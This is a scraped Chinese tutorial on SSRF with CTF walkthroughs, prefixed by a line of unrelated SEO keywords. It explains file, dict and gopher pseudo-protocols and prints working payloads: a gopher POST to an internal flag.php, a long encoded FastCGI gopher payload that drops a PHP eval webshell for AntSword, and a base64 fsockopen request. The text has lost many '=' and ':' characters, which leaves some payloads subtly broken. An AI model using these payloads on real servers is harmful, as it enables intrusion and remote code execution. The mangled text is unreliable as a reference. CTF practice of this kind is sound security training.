把网站做成app的软件下载,想开发软件多少钱,注册个人工作室流程及费用,wordpress 弹幕什么是SSRF
SSRF是由攻击者构造通过服务端发起请求的安全漏洞。通常情况下#xff0c;SSRF的攻击对象是外部无法访问的内网#xff08;因为是由服务端发起的请求所以攻击能够访问到内部系统#xff09;
由于服务端提供了从其它服务器获取数据的功能#xff0c;但是有没有…什么是SSRF
SSRF是由攻击者构造通过服务端发起请求的安全漏洞。通常情况下SSRF的攻击对象是外部无法访问的内网因为是由服务端发起的请求所以攻击能够访问到内部系统
由于服务端提供了从其它服务器获取数据的功能但是有没有进行严格的过滤和限制导致攻击者可以通过任意的地址让后端服务器进行访问并返回目标地址请求的数据当访问一个未经过验证的地址时就会产生SSRF漏洞 SSRF伪协议 file:/// 从文件系统中获取文件内容如file:///etc/passwd一般默认的文件地址为/var/www/html dict:// 字典服务器协议访问字典资源如dict:///ip:6739/info sftp:// SSH文件传输协议或安全文件传输协议 ldap:// 轻量级目录访问协议 tftp:// 简单文件传输协议 gopher:// 分布式文档传递服务可使用gopherus生成payload Gopher协议 Gopher是一种分布式文档传递服务。利用该服务用户可以无缝地浏览、搜索和检索驻留在不同位置的信息。 利用gopher协议可以攻击内网的 Redis、Mysql、FastCGI、Ftp 等也可以发送 GET、POST 请求这可以拓宽 SSRF 的攻击面。在攻击时有时候会执行参数会使用一句话木马来方便在攻击后查看信息或者进行蚁剑连接 利用Gopher攻击FastCGI
python2 gopherus.py --exploit fastcgi利用Gopher攻击 Redis redis是一种简单的文本协议用于在客户端和服务器之间操作和传输数据。可以说是最简单的一种传输协议。 选择需要的shell类型之后同样的用到一句话木马
SSRF相关函数 ctfhub
POST请求 先访问flag.php抓包看看发现key值需要运用Gopher协议传参key值来访问flag.php
127.0.0.1/flag.php 构造一个POST请求
POST /?url127.0.0.1/flag.php HTTP/1.1
Host127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36 //post传参的长度keyecff3b03b26adb3a1be8c423808297cc
得到payload在%0A换行符之前加上%0D
POST%20/flag.php%20HTTP/1.1%0D%0AHost:%20127.0.0.1:80%0D%0AContent-Type:%20application/x-www-form-urlencoded%0D%0AContent-Length:%2036%0D%0A%0D%0Akeykeyecff3b03b26adb3a1be8c423808297cc进行一次url编码 ?urlgopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost:%2520127.0.0.1:80%250D%250AContent-Type:%2520application/x-www-form-urlencoded%250D%250AContent-Length:%252036%250D%250A%250D%250Akeyecff3b03b26adb3a1be8c423808297ccFastCGI协议
打开环境提示我们攻击一下fastcgi协议然后看看题目附件附件中详细介绍了Fastcgi协议 先读取网站看看有没有什么东西说明存在index.php
file:///var/www/html/index.php 攻击Fastcgi协议需要用到Gopher工具运行工具先输入网站存在的默认文件位置 执行参数用一句话木马把一句话木马进行base64编码后写入文件中执行后用蚁剑连接 把payload进行编码
?url%67%6f%70%68%65%72%3a%2f%2f%31%32%37%2e%30%2e%30%2e%31%3a%39%30%30%30%2f%5f%25%30%31%25%30%31%25%30%30%25%30%31%25%30%30%25%30%38%25%30%30%25%30%30%25%30%30%25%30%31%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%31%25%30%34%25%30%30%25%30%31%25%30%31%25%30%35%25%30%35%25%30%30%25%30%46%25%31%30%53%45%52%56%45%52%5f%53%4f%46%54%57%41%52%45%67%6f%25%32%30%2f%25%32%30%66%63%67%69%63%6c%69%65%6e%74%25%32%30%25%30%42%25%30%39%52%45%4d%4f%54%45%5f%41%44%44%52%31%32%37%2e%30%2e%30%2e%31%25%30%46%25%30%38%53%45%52%56%45%52%5f%50%52%4f%54%4f%43%4f%4c%48%54%54%50%2f%31%2e%31%25%30%45%25%30%33%43%4f%4e%54%45%4e%54%5f%4c%45%4e%47%54%48%31%32%33%25%30%45%25%30%34%52%45%51%55%45%53%54%5f%4d%45%54%48%4f%44%50%4f%53%54%25%30%39%4b%50%48%50%5f%56%41%4c%55%45%61%6c%6c%6f%77%5f%75%72%6c%5f%69%6e%63%6c%75%64%65%25%32%30%25%33%44%25%32%30%4f%6e%25%30%41%64%69%73%61%62%6c%65%5f%66%75%6e%63%74%69%6f%6e%73%25%32%30%25%33%44%25%32%30%25%30%41%61%75%74%6f%5f%70%72%65%70%65%6e%64%5f%66%69%6c%65%25%32%30%25%33%44%25%32%30%70%68%70%25%33%41%2f%2f%69%6e%70%75%74%25%30%46%25%31%37%53%43%52%49%50%54%5f%46%49%4c%45%4e%41%4d%45%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%69%6e%64%65%78%2e%70%68%70%25%30%44%25%30%31%44%4f%43%55%4d%45%4e%54%5f%52%4f%4f%54%2f%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%31%25%30%34%25%30%30%25%30%31%25%30%30%25%30%30%25%30%30%25%30%30%25%30%31%25%30%35%25%30%30%25%30%31%25%30%30%25%37%42%25%30%34%25%30%30%25%33%43%25%33%46%70%68%70%25%32%30%73%79%73%74%65%6d%25%32%38%25%32%37%65%63%68%6f%25%32%30%25%32%32%50%44%39%77%61%48%41%67%51%47%56%32%59%57%77%6f%4a%46%39%51%54%31%4e%55%57%79%64%34%4a%31%30%70%4f%7a%38%25%32%42%43%67%25%33%44%25%33%44%25%32%32%25%32%30%25%37%43%25%32%30%62%61%73%65%36%34%25%32%30%2d%64%25%32%30%25%33%45%25%32%30%73%68%65%6c%6c%2e%70%68%70%25%32%37%25%32%39%25%33%42%64%69%65%25%32%38%25%32%37%2d%2d%2d%2d%2d%4d%61%64%65%2d%62%79%2d%53%70%79%44%33%72%2d%2d%2d%2d%2d%25%30%41%25%32%37%25%32%39%25%33%42%25%33%46%25%33%45%25%30%30%25%30%30%25%30%30%25%30%30打开蚁剑进行连接 Redis协议
Redis协议是一种通信协议攻击方式也是利用gophershell类型选择php类型同样的用一句话木马可以不写入文件用编码后上传post传参查看也可以蚁剑直接连接
[HNCTF 2022 WEEK2]ez_ssrf fsockopen函数 fsockopen($host,intval($port),$error,$errstr,30); $hostname要连接的目标主机地址可以是 IP 地址或者域名。 $port可选参数指定要连接的目标主机的端口号。默认值为 -1表示使用默认的端口号。 fsockopen函数可以被滥用来触发SSRF攻击这是因为该函数允许从远程服务器上读取数据并与远程服务器建立连接。攻击者可以使用fsockopen函数来发送恶意请求例如将远程服务器地址设置为攻击者控制的恶意服务器然后尝试读取该服务器上的敏感数据或执行任意命令 打开环境没看见什么有用信息dirsearch扫一下 扫出flag.php和index.php一次访问以下 index.php内拿到关键代码 ?phphighlight_file(__FILE__);
error_reporting(0);$database64_decode($_GET[data]);
$host$_GET[host];
$port$_GET[port];$fpfsockopen($host,intval($port),$error,$errstr,30);
if(!$fp) {die();
}
else {fwrite($fp,$data);while(!feof($data)){echo fgets($fp,128);}fclose($fp);
} 这串代码的大致内容就是通过fsockope函数连接到服务器之后通过fwrite函数向服务器发送请求再用fgets连续读取响应最后输出所以思路应该清晰了一些就是连接后发送请求读取响应输出
flag.php中提示localhost 那么现在怎样能找到flag就是应该思考的我们知道fsockopen函数可以连接到主机中的那么可以连接到我们本地的服务器在去访问目标就形成了SSRF
构造payload本地的默认端口就是80端口
host127.0.0.1port80data
还需要data的参数data就是需要向连接的服务器发送的请求请求内容是访问flag.php,构造出请求头
?php
$aGET /flag.php HTTP/1.1\r\n;
$a .Host: 127.0.0.1\r\n;
$a .Connection: Close\r\n\r\n;
echo base64_encode($a);
? host127.0.0.1port80dataR0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBDbG9zZQ0KDQo